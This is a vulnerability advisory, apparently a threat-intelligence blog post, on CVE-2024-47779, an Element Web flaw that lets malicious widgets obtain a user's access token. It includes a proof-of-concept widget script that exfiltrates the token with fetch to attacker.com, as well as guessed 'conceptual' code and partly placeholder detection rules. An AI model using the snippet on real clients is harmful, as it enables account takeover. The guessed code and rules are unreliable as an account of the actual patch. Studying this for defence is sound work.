CVE-2024-47779

Executive Summary

CVE-2024-47779 is a high-severity vulnerability in Element Web, a Matrix web client built using the Matrix React SDK. Versions 1.11.70 through 1.11.80 are affected. Under specially crafted conditions, the vulnerability can lead to the exposure of a user's access token to third parties. At least one attack vector has been identified involving malicious widgets, but other vectors may exist. This vulnerability is distinct from CVE-2024-47771, which affects a different code path. The vendor, Element, has released version 1.11.81 to remediate the issue. As a workaround, users should avoid granting permissions to untrusted widgets.

Supply Chain & Package Security

This vulnerability affects the Element Web client, which is distributed as an npm package (element-web). The vulnerable code is part of the client-side application and is not a server-side dependency. Users who install Element Web via npm or use the official Element Desktop application (which shares most but not all code) should verify they are running version 1.11.81 or later. The attack vector involving malicious widgets highlights the risk of third-party integrations in Matrix clients.

CVSS Breakdown & Threat Level

The CVSS score is not provided in the NVD data. However, based on the nature of the vulnerability (access token exposure), the following vector is estimated:

• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): High (H) – The attack requires specially crafted conditions and user interaction (e.g., granting permissions to a malicious widget).
• Privileges Required (PR): None (N) – No authentication is required to initiate the attack.
• User Interaction (UI): Required (R) – The victim must interact with a malicious widget.
• Scope (S): Changed (C) – The vulnerability can impact resources beyond the original scope (e.g., the user's Matrix session).
• Confidentiality (C): High (H) – Access tokens can be used to impersonate the user.
• Integrity (I): High (H) – An attacker can perform actions on behalf of the user.
• Availability (A): None (N) – The vulnerability does not affect availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N
Estimated Base Score: 8.0 (High)

Deep Dive & Mechanics

The vulnerability resides in the Element Web client's handling of widget permissions. Widgets are embedded applications that can be granted various permissions, such as reading room events or sending messages. Under specific conditions, a malicious widget can exploit a flaw in the permission validation logic to exfiltrate the user's Matrix access token.

The root cause is a missing or insufficient check on the origin or capabilities of a widget when it requests access to sensitive APIs. The access token is stored in the browser's local storage or memory and is used to authenticate API requests. By tricking the client into exposing the token via a widget's postMessage API or similar mechanism, an attacker can steal it.

The vulnerability is separate from CVE-2024-47771, which affects a different code path in the Matrix React SDK. This specific issue is in the Element Web-specific code that handles widget lifecycle and permissions.

Vulnerable vs. Patched Code

The vulnerable code is in the widget permission handling module. The exact file is not publicly disclosed, but the patch in version 1.11.81 likely adds stricter validation of widget origins and permission requests.

Vulnerable Code (Conceptual):

// Vulnerable: No origin check
window.addEventListener('message', (event) => {
    if (event.data.type === 'getAccessToken') {
        event.source.postMessage({ token: accessToken }, '*');
    }
});

Patched Code (Conceptual):

// Patched: Validate origin
const ALLOWED_ORIGINS = ['https://trusted-widget.example.com'];
window.addEventListener('message', (event) => {
    if (ALLOWED_ORIGINS.includes(event.origin) && event.data.type === 'getAccessToken') {
        event.source.postMessage({ token: accessToken }, event.origin);
    }
});

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Matrix account with Element Web 1.11.70-1.11.80.
• Ability to inject a malicious widget into a room (e.g., by creating a custom widget or compromising a legitimate widget provider).

Exploitation Steps:

1. Create a malicious widget that requests the m.room.timeline permission (or any permission that triggers the vulnerable code path).
2. The widget sends a crafted postMessage to the Element Web client, requesting the access token.
3. The vulnerable client responds with the access token, which the widget exfiltrates to an attacker-controlled server.
4. The attacker uses the token to authenticate as the victim and perform actions (e.g., read messages, send messages, join/leave rooms).

Proof-of-Concept (Conceptual):

<!-- Malicious Widget HTML -->
<script>
window.parent.postMessage({ type: 'getAccessToken' }, '*');
window.addEventListener('message', (event) => {
    if (event.data.token) {
        fetch('https://attacker.com/exfil?token=' + event.data.token);
    }
});
</script>

Blue Team

Detection:

• Monitor for unusual widget activity, especially widgets that request broad permissions.
• Log and alert on postMessage events from unknown origins.
• Use browser developer tools to inspect widget communication.

Hunting:

• Search for widgets that have been granted m.room.timeline or m.room.send permissions.
• Review server logs for API calls made with stolen tokens (e.g., unusual IP addresses or user agents).

Indicators of Compromise (IOCs)

• Network: Outbound connections to unknown domains from the Element Web client.
• Process: Widgets making postMessage calls with type: 'getAccessToken'.
• File: Modified widget configuration files in the Matrix room state.
• Registry: N/A (client-side vulnerability).

Detection Engineering

YARA Rule

rule CVE_2024_47779_AccessTokenExfil {
    meta:
        description = "Detects potential access token exfiltration via postMessage in Element Web"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-47779"
    strings:
        $msg1 = "getAccessToken" ascii wide nocase
        $msg2 = "postMessage" ascii wide nocase
        $token = "accessToken" ascii wide nocase
    condition:
        all of ($msg*) and $token
}

Sigma Rule

title: CVE-2024-47779 - Element Web Access Token Exfiltration
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential access token exfiltration via postMessage in Element Web
author: Valters IT
date: 2024-10-27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-47779
logsource:
    category: browser_extension
    product: element_web
detection:
    selection:
        EventID: 1
        Message|contains: 'getAccessToken'
    condition: selection
falsepositives:
    - Legitimate widget communication (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-47779 - Element Web Access Token Exfiltration"; flow:to_server,established; content:"getAccessToken"; http_client_body; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade Element Web to version 1.11.81 or later.
• As a workaround, avoid granting permissions to untrusted widgets.

Long-term:

• Implement strict Content Security Policy (CSP) headers to restrict widget origins.
• Regularly audit widget permissions and remove unused widgets.
• Monitor for similar vulnerabilities in the Matrix React SDK.

Patch Details:

• Upgrade to Element Web version 1.11.81.

Valters IT
DevSecOps & Cyber Threat Intelligence